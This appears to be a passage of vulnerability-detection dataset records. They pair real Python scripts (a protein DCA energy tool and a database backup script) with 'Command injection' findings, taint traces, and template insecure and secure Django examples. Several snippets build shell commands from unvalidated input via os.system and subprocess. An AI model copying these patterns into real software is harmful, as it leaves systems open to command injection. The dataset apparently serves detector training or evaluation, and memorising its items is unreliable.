os\nimport subprocess\nimport tarfile\nfrom io import BytesIO\n#for parallel computing\nfrom joblib import Parallel, delayed\nimport multiprocessing\nnum_cores_energy = multiprocessing.cpu_count()\nfrom tqdm import tqdm\nimport pandas as pd\nimport sys\n\n\nvalid_aa = ['A','C','D','E','F','G','H','I','K','L','M','N','P','Q','R','S','T','V','W','Y','-']\naa_3= ['ALA','CYS','ASP','GLU','PHE','GLY','HIS','ILE','LYS','LEU','MET','ASN','PRO','GLN','ARG','SER','THR','VAL','TRP','TYR','-']\n\nd_aa_num= {a:i for i,a in enumerate(valid_aa)}\nd_3to1 = {a3:a1 for a3,a1 in zip(aa_3,valid_aa)}\n\n\n\ndef read_dca_par(path_h_DCA, path_J_DCA):\n ''' read compressed DCA file '''\n tar = tarfile.open(path_h_DCA, \"r:gz\")\n for member in tar.getmembers():\n f = tar.extractfile(member)\n if f is not None:\n content = f.read()\n load_bytes = BytesIO(content)\n h = np.load(load_bytes)\n tar = tarfile.open(path_J_DCA, \"r:gz\")\n for member in tar.getmembers():\n f = tar.extractfile(member)\n if f is not None:\n content = f.read()\n load_bytes = BytesIO(content)\n J = np.load(load_bytes)\n return h,J\n\ndef compute_sm_energy_dict(seq, h ,J):\n ''' for SINGLE MUTANTS, return a dictionary d['idx', 'mutated_aa'] = energy - energy_wild_type '''\n ''' it can be VERY SLOW and d_sm BIG(all possible sm ~ 21*L) '''\n ''' see below to speed it up '''\n E0 = compute_energy(seq,h,J)\n d_sm = {}\n for i in range(0, len(seq)):\n print(i, len(seq))\n #add also the gap\n for aa in valid_aa:\n new_seq = seq[:i] + aa + seq[(i+1):]\n E = compute_energy(new_seq,h,J)\n print(E)\n d_sm[i,aa] = np.round(E-E0,4)\n return d_sm\n\ndef compute_sm_energy(seq, h ,J, idx, aa ):\n ''' for SINGLE MUTANTS, given the ref_seq,h,J and idx(pos_mutations) aa(mutated_aa)\n return energy_sum_single_mutants - energy_wild_type '''\n E0 = compute_energy(seq,h,J)\n E_sum_sm = 0\n for i,a_i in zip(idx, aa):\n new_seq = seq[:i] + a_i + seq[(i+1):]\n E = compute_energy(new_seq,h,J)\n E_sum_sm += E\n return np.round(E_sum_sm,4)\n\ndef compute_energy(seq, h, J, parallel = False):\n if all_standard_aa(seq):\n if(parallel == True):\n #DO NOT USE FOR NOW!!!\n #something weird... E_parallel != E_non_parallel\n # parallel actually slower than non parallel (execution time limited by memory access and not processor time??)\n E = 0\n all_ei = Parallel(n_jobs=num_cores_energy)(delayed(compute_energy_given_ai)(seq, h, J, idx_ai) for idx_ai in range(0,len(seq)))\n E = np.sum(all_ei)\n return E\n if(parallel == False):\n E = 0\n for idx_aa1 in range(0, len(seq)):\n aa1 = seq[idx_aa1]\n E -= h[d_aa_num[aa1], idx_aa1]\n for idx_aa2 in range(idx_aa1+1, len(seq)):\n aa2 = seq[idx_aa2]\n E -= J[d_aa_num[aa1], d_aa_num[aa2], idx_aa1, idx_aa2]\n return E\n\ndef compute_energy_given_ai(seq,h,J, idx_ai):\n '''e.g. idx_ai=1; computing E_1 = h_1 + J_12 + J_13 etc. (good for parallelization)'''\n ai = seq[idx_ai]\n #print(\"**\", idx_ai, ai)\n ei = h[d_aa_num[ai], idx_ai]\n for idx_aj in range(idx_ai+1, len(seq)):\n aj = seq[idx_aj]\n #print(idx_aj, aj)\n ei -= J[d_aa_num[ai], d_aa_num[aj], idx_ai, idx_aj]\n return ei\n\ndef compute_entropy_context_ind(path_msa):\n ''' compute context-independent entropy (from msa)'''\n fi = compute_freq(path_msa)\n S = compute_entropy_from_freq(fi)\n return S\n\ndef compute_entropy_from_freq(fi, remove_gaps = True, base2 = True):\n if remove_gaps:\n fi = (fi[:20,:])/np.sum(fi[:20,:], axis = 0)\n qq, N = fi.shape\n S = []\n for i in range(0,N):\n si = 0\n for q in range(0,qq):\n si -= fi[q,i]*np.log(fi[q,i])\n if base2:\n si /= np.log(2)\n S.append(si)\n return S\n\ndef compute_entropy_context_dep(ref_seq, h,J ):\n ''' compute context-DEPENDENT entropy (from hhblits ref_seq, h, J)'''\n q, N = h.shape\n fi_plm = np.zeros(h.shape)\n #same conventions than in Eq.5.8 (PhD thesis)\n for i in range(0,N):\n #compute denominator\n denom = 0\n for b in range(0,q):\n arg_denom = h[b,i]\n for j in range(0,N):\n if(j!=i):\n aj = d_aa_num[ref_seq[j]]\n arg_denom += J[b, aj ,i, j]\n denom += np.exp(arg_denom)\n # compute numerator\n for ai in range(0,q):\n arg_num = h[ai,i]\n for j in range(0,N):\n if(j!=i):\n aj = d_aa_num[ref_seq[j]]\n arg_num += J[ai, aj ,i, j]\n num = np.exp(arg_num)\n fi_plm[ai,i] = num/denom\n #return the entropy\n S = compute_entropy_from_freq(fi_plm)\n return S\n\ndef compute_num_gap(seq):\n '''return the number of gaps in a sequence '''\n num_gap = 0\n for _,char in enumerate(seq):\n if(char == '-'):\n num_gap += 1\n return num_gap\n\ndef compute_gap_fraction(seq):\n num_gap = compute_num_gap(seq)\n frac_gap = (num_gap+0.0)/len(seq)\n return frac_gap\n\ndef compute_diff(ref_seq, seq):\n ''' compute the mutations between two strings, return idx_mut, aa_first_seq(wt), aa_second_seq(mutant)'''\n vec_idx = []\n vec_aa1 = []\n vec_aa2 = []\n for idx, aa in enumerate(zip(ref_seq,seq)):\n aa1 = aa[0]\n aa2 = aa[1]\n if (aa1.lower() != aa2.lower()):\n vec_idx.append(idx)\n vec_aa1.append(aa1)\n vec_aa2.append(aa2)\n return vec_idx, vec_aa1, vec_aa2\n\ndef compute_dist(ref_seq, seq):\n distance = sum([1 for x, y in zip(ref_seq, seq) if x.lower() != y.lower()])\n return distance\n\ndef compute_dist_excluding_gaps(ref_seq, seq):\n# distance = sum([1 for x, y in zip(ref_seq, seq) if ( x.lower() != y.lower() or x == '-' or y == '-' )])\n distance = 0\n for x, y in zip(ref_seq, seq):\n if x == '-':\n continue\n elif y == '-':\n continue \n elif x.lower() != y.lower():\n distance += 1\n \n return distance\n\ndef compute_seqid(ref_seq, seq):\n '''return the sequence identity (seqid) '''\n distance = compute_dist_excluding_gaps(ref_seq,seq)\n distance /= len(seq)\n seqid = 1 - distance\n return seqid\n\ndef compute_freq(path_msa):\n ''' compute single point frequencies of an MSA '''\n records_msa = list(SeqIO.parse(open(path_msa,'r'), \"fasta\"))\n fi = np.zeros(( len(d_aa_num), len(records_msa[0].seq) ))\n for idx_rec, rec in enumerate(records_msa):\n seq = rec.seq\n for idx_aa, amino_a in enumerate(seq):\n fi[d_aa_num[amino_a], idx_aa] += 1\n #add (small) pseudocount to take into account 0 frequencies (0*log(0))\n alpha = 0.0001\n fi = (1-alpha)*fi + alpha/2\n #normalize\n fi /= fi.sum(axis = 0)\n return fi\n\ndef all_standard_aa(seq):\n '''return True if sequence contains only standard-aa'''\n for char in seq:\n if((char not in valid_aa) and char !='-'):\n #print(\"seq containing non standard aa: \"+char)\n return False\n break\n return True\n\ndef split_proteome(path_ref_proteome, name_ref_proteome, tmp_path):\n ''' simple function to split the reference proteome in reference proteins'''\n with open(os.path.join(path_ref_proteome, name_ref_proteome), \"r\") as input_handle:\n for record_ref in SeqIO.parse(input_handle, \"fasta\"):\n name = record_ref.id\n seq_ref = str(record_ref.seq)\n #save tmp file with the seq of the reference\n name_tmp_file = \"ref_\"+name\n f_tmp = open(os.path.join(tmp_path,name_tmp_file),\"w\")\n f_tmp.write(\">\"+name+\"\\n\")\n f_tmp.write(seq_ref)\n f_tmp.close()\n return 0\n\ndef run_hhblits(path_hhblits, path_ref_prot, path_db, path_msa_out, num_cores):\n ''' run hhblits, get the distant homologs MSA, return the number of sequences '''\n #1) run hhblits\n FNULL = open(os.devnull, 'w')\n subprocess.run([path_hhblits, '-i', path_ref_prot, '-d', path_db, '-oa3m', path_ref_prot+\".a3m\", '-cpu' , str(num_cores)], stdout=FNULL, stderr=subprocess.STDOUT)\n #num of sequences\n file_out = open(path_msa_out, 'w')\n #2) parse and filter the hhblits msa\n with open(path_ref_prot+\".a3m\", \"r\") as input_handle:\n for idx_record, record in enumerate(SeqIO.parse(input_handle, \"fasta\")):\n seq = str(record.seq)\n #hhblits ouput is a3m format, to make it a fasta remove dot and lower\n seq = ''.join(char for char in seq if (char.isupper() or char =='-'))\n # 2.1) do the filtering\n records_ref = list(SeqIO.parse(open(path_ref_prot,'r'), \"fasta\"))\n ref_seq = str(records_ref[0].seq)\n # - remove sequences which are to gapped (i.e. gap_fraction mst be less than 10% gap)\n # - remove sequence which are CLOSE to the reference sequence (i.e. sequence_identity must be LESS than 90%)\n # - remove sequences containing non standard aa\n if( (compute_gap_fraction(seq) < 0.1) and (compute_seqid(ref_seq, seq) < 0.9) and all_standard_aa(seq)):\n file_out.write(str(\">\"+record.id)+'\\n')\n file_out.write(str(seq)+'\\n')\n file_out.close()\n return 0\n\ndef filterMSA(path_ref_prot, path_msa_in, path_msa_out, include_refseq=True, max_grap_fraction = 0.2, max_seq_id = 0.9):\n file_out = open(path_msa_out, 'w')\n # parse and filter the msa\n records_ref = list(SeqIO.parse(open(path_ref_prot,'r'), \"fasta\"))\n ref_seq = str(records_ref[0].seq)\n with open(path_msa_in, \"r\") as input_handle:\n count = 1\n for idx_record, record in enumerate(SeqIO.parse(input_handle, \"fasta\")):\n seq = str(record.seq)\n #remove dot and lower\n seq = ''.join(char for char in seq if (char.isupper() or char =='-'))\n # do the filtering\n # - remove the sequences which are to gapped (i.e. sequence must contain less than 10 gap)\n # - remove sequence which are close the reference sequence (i.e. sequence_identity must be less than 90%)\n # - remove sequences containing non standard aa\n if include_refseq and count == 1: # Keep the first seq, i.e., the reference sequence\n file_out.write(str(\">\"+record.id)+'\\n')\n file_out.write(str(seq)+'\\n')\n count += 1 \n elif( (compute_gap_fraction(seq) < max_grap_fraction) and (compute_seqid(ref_seq, seq) < max_seq_id) and all_standard_aa(seq)):\n file_out.write(str(\">\"+record.id)+'\\n')\n file_out.write(str(seq)+'\\n')\n file_out.close()\n return 0\n \ndef filterMSA_gisaid(path_ref_prot, path_msa_in, path_msa_out, max_grap_fraction = 0.2, min_seq_id = 0.9):\n file_out = open(path_msa_out, 'w')\n # parse and filter the msa\n records_ref = list(SeqIO.parse(open(path_ref_prot,'r'), \"fasta\"))\n ref_seq = str(records_ref[0].seq)\n with open(path_msa_in, \"r\") as input_handle:\n count = 1\n for idx_record, record in enumerate(SeqIO.parse(input_handle, \"fasta\")):\n seq = str(record.seq)\n #remove dot and lower\n seq = ''.join(char for char in seq if (char.isupper() or char =='-'))\n # do the filtering\n # - remove the sequences which are to gapped (i.e. sequence must contain less than 10 gap)\n # - remove sequence which are far the reference sequence (i.e. sequence_identity must greater than 90%)\n # - remove sequences containing non standard aa\n if count == 1: # Keep the first seq, i.e., the reference sequence\n file_out.write(str(\">\"+record.id)+'\\n')\n file_out.write(str(seq)+'\\n')\n count += 1 \n elif( (compute_gap_fraction(seq) < max_grap_fraction) and (compute_seqid(ref_seq, seq) > min_seq_id) and all_standard_aa(seq)):\n file_out.write(str(\">\"+record.id)+'\\n')\n file_out.write(str(seq)+'\\n')\n file_out.close()\n return 0\n\n\ndef do_DCA_inference(path_msa, path_dca_par, min_num_seq, num_cores):\n #1) number of lines (sequences). N.b. in Uniclust30 Meff ~ M\n M = len(open(path_msa).readlines())/2\n #2) do the inference with DCA\n #only for msa with more than min_num_seq sequences\n if( M > min_num_seq):\n #import julia (Try to include julia variables into python => TO DO, see 'import julia') ---> doesn't work, I gave up...\n# filename = \n out_file = path_msa + '.out'\n# f_julia= open(os.path.join(path_dca_par,out_file), 'a')\n f_julia= open(out_file, 'w')\n f_julia.write(path_msa.split(\"/\")[-1]+\".fa\"+'\\n')\n f_julia.close() #close and re-open. Otherwise it writes the msa only at the end (after plmDCA info) (function waits subprocess to finish)\n# f_julia= open(os.path.join(path_dca_par,out_file), 'a')\n f_julia= open(out_file, 'w')\n subprocess.run([\"julia\",'-p', str(num_cores), './src/plmDCA_inference.jl',path_msa, path_dca_par], stdout=f_julia, stderr=subprocess.STDOUT)\n f_julia.close()\n else:\n print('... ERROR! too few seqs (M={0})!'.format(str(M)))\n return 0\n\ndef run_phmmer(path_phmmer, path_ref_prot, path_db, path_msa_out, path_tmp_stockholm, path_tmp_msa, num_cores):\n ''' run phmmer, get the local homologs MSA (form E coli strains) '''\n file_out = open(path_msa_out, 'w')\n #1) run phmmer\n FNULL = open(os.devnull, 'w')\n subprocess.run([path_phmmer, '-A', path_tmp_stockholm, '--cpu', str(num_cores), path_ref_prot, path_db], stdout=FNULL, stderr=subprocess.STDOUT)\n #2) convert stockholm to fasta\n subprocess.run(['./src/stockholm2fasta.pl', '-g', path_tmp_stockholm ], stdout=open(path_tmp_msa,'w'),stderr=subprocess.STDOUT)\n #3) parse and filter the hhblits msa\n with open(path_tmp_msa, \"r\") as input_handle:\n for idx_record, record in enumerate(SeqIO.parse(input_handle, \"fasta\")):\n seq = str(record.seq)\n #remove dot and lower\n seq = ''.join(char for char in seq if (char.isupper() or char =='-'))\n # 2.1) do the filtering\n records_ref = list(SeqIO.parse(open(path_ref_prot,'r'), \"fasta\"))\n ref_seq = str(records_ref[0].seq)\n # - remove the sequences which are to gapped (i.e. sequence must contain less than 10 gap)\n # - remove sequence which are FAR the reference sequence (i.e. sequence_identity must be MORE than 90%)\n # - remove sequences containing non standard aa\n if( (compute_num_gap(seq) < 10) and (compute_seqid(ref_seq, seq) > 0.9) and all_standard_aa(seq)):\n file_out.write(str(\">\"+record.id)+'\\n')\n file_out.write(str(seq)+'\\n')\n file_out.close()\n #rm prefiltering msa\n subprocess.run(['rm' , path_tmp_msa])\n #rm stockholm (too big!)\n subprocess.run(['rm' , path_tmp_stockholm])\n return 0\n\ndef compute_energy_local_msa(ref_prot_file, output_file, ali_file,h,J, verbose ):\n ''' load DCA model, compute energy of strains (also e_sum_sm and postions mutated '''\n records_ref = list(SeqIO.parse(open(ref_prot_file,'r'), \"fasta\"))\n ref_seq = str(records_ref[0].seq)\n ref_name = str(records_ref[0].id)\n E0 = 0\n #0. compute energy single mutants -> NO need for it ( and very slow, seq function compute_sm_energy(seq, h, J, idx, aa)\n #d_sm = compute_sm_energy(ref_seq, h, J)\n path_msa_local = os.path.join(ali_file)\n all_seq_name = []\n all_seq_num_occurences= []\n all_seq_e = []\n all_seq_dist = []\n all_seq_ref_prot = []\n all_seq_sum_sm = []\n all_seq_mut_idx= []\n all_seq_mut_aa = []\n E0 = compute_energy(ref_seq, h, J)\n with open(path_msa_local,\"r\") as f:\n for record in tqdm(SeqIO.parse(f,\"fasta\")):\n seq = str(record.seq)\n E = compute_energy(seq, h, J)\n idx, aa1, aa2 = compute_diff(ref_seq,seq)\n # sum of energies single mutants\n E_sum_sm = compute_sm_energy(ref_seq, h, J, idx, aa2)\n #num mutations\n dist = len(idx)\n name_seq_list = (str(record.id).split('/')[0]).split('-')\n if(verbose == True):\n for name_seq in name_seq_list:\n all_seq_ref_prot.append(ref_name)\n all_seq_name.append(name_seq)\n all_seq_e.append(np.round(E,4))\n all_seq_dist.append(int(dist))\n all_seq_sum_sm.append(np.round(E_sum_sm,4))\n all_seq_mut_idx.append(idx)\n all_seq_mut_aa.append(aa2)\n all_seq_e_e0 = np.round(all_seq_e - E0,4)\n if(verbose == False):\n all_seq_ref_prot.append(ref_name)\n all_seq_num_occurences.append(len(name_seq_list))\n all_seq_e.append(np.round(E,4))\n all_seq_dist.append(int(dist))\n all_seq_sum_sm.append(np.round(E_sum_sm,4))\n all_seq_e_e0 = np.round(all_seq_e - E0 ,4)\n all_seq_mut_idx.append(idx)\n all_seq_mut_aa.append(aa2)\n if(verbose == True):\n df = pd.DataFrame({'ref':all_seq_ref_prot, 'seq_name':all_seq_name, 'e':all_seq_e, 'e-e0':all_seq_e_e0, 'e_sum_sm': all_seq_sum_sm, 'dist':all_seq_dist, 'idx_mut':all_seq_mut_idx, 'aa_mut': all_seq_mut_aa})\n if(verbose == False):\n df = pd.DataFrame({'ref':all_seq_ref_prot, 'num_occurences':all_seq_num_occurences, 'e':all_seq_e, 'e-e0':all_seq_e_e0, 'e_sum_sm': all_seq_sum_sm,'dist':all_seq_dist, 'idx_mut':all_seq_mut_idx, 'aa_mut': all_seq_mut_aa})\n df.to_csv(os.path.join(output_file), index = False)\n return 0\n\ndef compute_energy_ind_msa(ref_prot_file, ali_file, output_file, h,J ):\n ''' load DCA model, compute energy of mutation sampled from the profile model'''\n records_ref = list(SeqIO.parse(open(ref_prot_file,'r'), \"fasta\"))\n ref_seq = str(records_ref[0].seq)\n ref_name = str(records_ref[0].id)\n path_msa_local_ind = os.path.join(ali_file)\n all_seq_ref_prot = []\n all_seq_e = []\n all_seq_e_e0 = []\n all_seq_dist = []\n E0 = compute_energy(ref_seq, h, J)\n with open(path_msa_local_ind,\"r\") as f:\n for record in tqdm(SeqIO.parse(f,\"fasta\")):\n seq = str(record.seq)\n dist = compute_dist(ref_seq,seq)\n E = compute_energy(seq, h, J)\n all_seq_ref_prot.append(ref_name)\n all_seq_e.append(np.round(E,4))\n all_seq_dist.append(int(dist))\n all_seq_e_e0 = np.round(all_seq_e - E0 ,4)\n df_ind = pd.DataFrame({'ref':all_seq_ref_prot, 'e':all_seq_e, 'e-e0':all_seq_e_e0, 'dist':all_seq_dist})\n df_ind.to_csv(os.path.join(output_file), index = False)\n return 0\n\ndef compute_energy_rand_msa(ref_prot_file, ali_file, output_file, h,J):\n ''' load DCA model, compute energy of mutation sampled from the random model'''\n records_ref = list(SeqIO.parse(open(ref_prot_file,'r'), \"fasta\"))\n ref_seq = str(records_ref[0].seq)\n ref_name = str(records_ref[0].id)\n path_msa_local_rand= os.path.join(ali_file)\n all_seq_ref_prot = []\n all_seq_e = []\n all_seq_e_e0 = []\n all_seq_dist = []\n E0 = compute_energy(ref_seq, h, J)\n with open(path_msa_local_rand,\"r\") as f:\n for record in tqdm(SeqIO.parse(f,\"fasta\")):\n seq = str(record.seq)\n dist = compute_dist(ref_seq,seq)\n E = compute_energy(seq, h, J)\n all_seq_ref_prot.append(ref_name)\n all_seq_e.append(np.round(E,4))\n all_seq_dist.append(int(dist))\n all_seq_e_e0 = np.round(all_seq_e - E0 ,4)\n df_rand = pd.DataFrame({'ref':all_seq_ref_prot, 'e':all_seq_e, 'e-e0':all_seq_e_e0, 'dist':all_seq_dist})\n df_rand.to_csv(os.path.join(output_file, 'e_'+ref_name+'_rand.csv'), index = False)\n return 0\n\ndef compute_all_entropies(ref_prot_file, ali_file, ali_file_local, output_file, h, J ):\n ''' compute s_ind, s_dep , s_strains '''\n records_ref = list(SeqIO.parse(open(ref_prot_file,'r'), \"fasta\"))\n ref_seq = str(records_ref[0].seq)\n ref_name = str(records_ref[0].id)\n ####################################################################################################\n #context IND entropy (from msa_hhblits)\n path_msa_hhblits = os.path.join(ali_file)\n S_ind = np.round(compute_entropy_context_ind(path_msa_hhblits),4)\n #context DEP entropy (from ref_seq, h, J)\n S_dep = np.round(compute_entropy_context_dep(ref_seq, h,J),4)\n #compute entropy in MSA_local (hhblits) (i.e. observed polymorphism?)\n path_msa_local = os.path.join(ali_file_local)\n S_local_obs = np.round(compute_entropy_context_ind(path_msa_local),4)\n all_seq_ref_prot = [ref_name for i in range(0,len(ref_seq))]\n all_seq_idx= [i for i in range(0,len(ref_seq))]\n df_s = pd.DataFrame({'ref':all_seq_ref_prot, 'idx': all_seq_idx, 's_ind':S_ind, 's_dep':S_dep, 's_local_obs':S_local_obs})\n df_s.to_csv(os.path.join(output_file), index = False)\n return 0\n", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 242, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 242, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 243, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "subprocess.run"}}]}}
{"id": "75a5abc1a185c24d41c31c160368db9a39e6a12d7f3aafb38bf2c3eb3f47f3f9", "license": {"spdx": ["MIT"], "repo": "Fanliaa/Projet6_OpenClassRooms", "path": "Script_Backup.py", "repo_head_hexsha": "2fd0a3540c04f972e7c35180e24cbd9a8d5687ab", "stack_hexsha": "3b934e63bba3768ddeff1f2ea4c62427c1ff6de9", "match": "exact_blob"}, "input": {"fileExtension": ".py", "programmingLanguage": "Python", "issueNameEn": "Command injection", "issueDescriptionEn": "A security weakness where unvalidated external input values are constructed and executed as operating system commands, which could result in the execution of unintended system commands that could inappropriately change privileges or adversely affect system behaviour and operations.\nIf external input values are included in system commands, they should be filtered for multi-line pipe redirect characters, such as |, ;, &, :, >, <, `(backtick), , !, and so on, and used as arguments by restricting the filename, options, and the command to be executed.\nFilter ['|', ';', '&', ':', '>', '<', '`', '\\', '!'] values with replace, etc.\nbefore executing methods that execute operating system commands, or use only items from a user-specified whitelist.", "issueLineNumber": 73, "entireCode": "#!/bin/bash/python\n# \n# Importation des librairies utiles\nimport json\nimport os\nimport pipes\nimport time\nimport datetime\nimport sys\nimport zipfile\nfrom os.path import basename\nimport paramiko\nimport logging\nimport boto3\nfrom botocore.exceptions import ClientError\n\n# Declaration des variables\nDATETIME = time.strftime('%Y-%m-%d_%H-%M-%S')\nBACKUP_PATH = '/home/fanny/Documents/Sauvegardes/BACKUP_' + DATETIME\nFILE_MYSQL = '/home/fanny/Documents/Sauvegardes/MySQL/'\nFILE_POSTGRE = '/home/fanny/Documents/Sauvegardes/PostgreSQL/'\nFILE_SQLITE = '/home/fanny/Documents/Sauvegardes/SQLite/'\nBUCKET_S3 = 'backup-srv-bdd'\n\n# Declaration des fonctions\ndef upload_file(file_name, bucket, object_name=None):\n # Si S3 object_name n'est pas spécifié, alors on utilisera le nom original de celui-ci\n if object_name is None:\n object_name = file_name\n\n with open(infoJS, \"r\") as filejson:\n\t donnees = json.load(filejson)\n\n # Informations client S3\n s3_client = boto3.client('s3',\n aws_access_key_id=donnees[\"aws_access_key_id\"],\n aws_secret_access_key=donnees[\"aws_secret_access_key\"])\n # Permet de télécharger les fichiers que l'on souhaite et lesdéposer sur AWS\n try:\n response = s3_client.upload_file(file_name, bucket, object_name)\n print (response)\n except ClientError as e:\n logging.error(e)\n return False\n return True\n\n# On verifie que le dossier de Backup n'existe pas, s'il n'existe pas on le creer\ntry:\n os.mkdir(BACKUP_PATH)\n print(\"Dossier créé.\")\n os.mkdir(FILE_MYSQL)\n print(\"Dossier MYSQL créé.\")\n os.mkdir(FILE_POSTGRE)\n print(\"Dossier POSTGRE créé.\")\n os.mkdir(FILE_SQLITE)\n print(\"Dossier SQLITE créé.\")\nexcept:\n print(\"Certains dossiers existent déjà\")\n pass\n\n# Importer les valeurs de JSON et les stocker dans des variables\ninfoJS = \"/home/fanny/Documents/Projet6/info_srv.json\" \n\nwith open(infoJS, \"r\") as filejson:\n\tdonnees = json.load(filejson)\n\n# Debut de la boucle\nfor server in donnees[\"databases\"]:\n\n # Condition, boucler sur cette condition de connexion tant que c'est une BDD Mysql\n if server[\"type\"] == 'MariaDB':\n # Sauvegarde des bases de données passées en paramètre\n os.system(\"mysqldump --column-statistics=0 -h \" + server[\"ip\"] + \" -u \" + server[\"user\"] + \" -p\" + server[\"password\"] + \" \" + server[\"BDD\"] + \" > \" + pipes.quote(BACKUP_PATH) + \"/\" + server[\"BDD\"] + \".sql\")\n print(\"Sauvegarde de la base de donnée \" + server[\"BDD\"] + \" a bien été effectuée.\")\n # ZIP du fichier sql de notre base de donnée\n zf = zipfile.ZipFile (FILE_MYSQL + server[\"BDD\"] + \".zip\", mode='w')\n try:\n print(\"Zipping \" + server[\"BDD\"])\n zf.write(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\", basename(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\",))\n finally:\n zf.close()\n print(\"Le fichier ZIP a bien été créé.\")\n # Envoi des zip de sauvegarde sur AWS3\n upload_file(FILE_MYSQL + \"/\" + server[\"BDD\"] + \".zip\", BUCKET_S3, \"MYSQL/\" + server[\"BDD\"] + \".zip\")\n print(\"Fichier zip envoyé sur AWS.\")\n\n # Condition, boucler sur cette condition de connexion tant que c'est une BDD Postgre\n elif server[\"type\"] == 'PostgreSQL':\n # Sauvegarde des bases de données passées en paramètre\n os.system(\"export PGPASSWORD=\" + server[\"password\"] + \" && pg_dump --user=\" + server[\"user\"] + \" --host=\" + server[\"ip\"] + \" --port=\" + server[\"port\"] + \" > \" + pipes.quote(BACKUP_PATH) + \"/\" + server[\"BDD\"] + \".sql\")\n print(\"La sauvegarde de la base de donnée \" + server[\"BDD\"] + \" a bien été effectuée.\")\n zf = zipfile.ZipFile (FILE_POSTGRE + server[\"BDD\"] + \".zip\", mode='w')\n try:\n print(\"Zipping \" + server[\"BDD\"])\n zf.write(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\", basename(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\",))\n finally:\n zf.close()\n print(\"Le fichier ZIP a bien été créé.\")\n upload_file(FILE_POSTGRE + \"/\" + server[\"BDD\"] + \".zip\", BUCKET_S3, \"POSTGRE/\" + server[\"BDD\"] + \".zip\")\n\n # Condition, boucler sur cette condition de connexion tant que c'est une BDD SQLite\n elif server[\"type\"] == 'SQLite':\n # Connexion au server pour sauvegarder la/les BDD\n ssh_client=paramiko.SSHClient()\n ssh_client.set_missing_host_key_policy(paramiko.AutoAddPolicy())\n ssh_client.connect(server[\"ip\"], 22, server[\"user\"], server[\"password\"])\n print(\"Connexion au serveur réussie, lancement de la sauvegarde des bases de données du serveur.\")\n ssh_client.exec_command('sqlite3 bambou.db')\n ssh_client.exec_command('.output /tmp/dump.sql')\n ssh_client.exec_command('.dump')\n ftp_client=ssh_client.open_sftp()\n ftp_client.get(\"/tmp/dump.sql\", \"\" + BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\")\n ftp_client.close()\n ssh_client.close()\n print(\"La sauvegarde de la base de donnée \" + server[\"BDD\"] + \" a bien été effectuée.\")\n zf = zipfile.ZipFile (FILE_SQLITE + server[\"BDD\"] + \".zip\", mode='w')\n try:\n print(\"Zipping \" + server[\"BDD\"])\n zf.write(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\", basename(BACKUP_PATH + \"/\" + server[\"BDD\"] + \".sql\",))\n finally:\n zf.close()\n print(\"Le fichier ZIP a bien été créé.\")\n upload_file(FILE_SQLITE+ \"/\" + server[\"BDD\"] + \".zip\", BUCKET_S3 + \"\", \"SQLITE/\" + server[\"BDD\"] + \".zip\")\n\n # Fin de la boucle\n else:\n print(\"Pus aucune base de donnée à sauvegarder.\")\n break", "dangerousExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. def execute_command(request):\n5. \tapp_name_string = request.POST.get('app_name','')\n6. \t# Since the received parameters are not restricted,\n7. \t# any program passed in through external input can be executed.\n8. \tos.system(app_name_string)\n9. \treturn render(request, '/success.html')\nLine 8: This is insecure because the external input is used without any modification.", "safeExampleEn": "1. import os\n2. from django.shortcuts import render\n3. \n4. ALLOW_PROGRAM = ['notepad', 'calc']\n5. \n6. def execute_command(request):\n7. \tapp_name_string = request.POST.get('app_name','')\n8. \n9. # Use the received parameters by restricting them to a subset of allowable system commands.\n10. \tif app_name_string not in ALLOW_PROGRAM:\n11. \t\treturn render(request, '/error.html', {'ERROR':'This program is not allowed.'})\n12. \n13. os.system(app_name_string)\n14. \treturn render(request, '/success.html')\nLine 10: This is safe because the external input is whiltelised in Line 4, which ensures Line 13 to be secure.", "contexts": [{"lineNo": 64, "eventType": "source", "messageKey": "synz.COMMON.taint.source", "params": {"arg0": "open"}}, {"lineNo": 65, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "json.load"}}, {"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "donneesdonnees[\"databases\"]"}}, {"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__iter__"}}, {"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "__next__"}}, {"lineNo": 68, "eventType": "source", "messageKey": "synz.COMMON.value.assigned", "params": {}}, {"lineNo": 71, "eventType": "source", "messageKey": "synz.COMMON.branch.true.assumed", "params": {"arg0": "72"}}, {"lineNo": 73, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "serverserver[\"password\"]"}}, {"lineNo": 73, "eventType": "source", "messageKey": "synz.COMMON.taint.propagate", "params": {"arg0": "serverserver[\"BDD\"]"}}, {"lineNo": 73, "eventType": "sink", "messageKey": "synz.COMMON.taint.sink", "params": {"arg0": "os.system"}}]}}
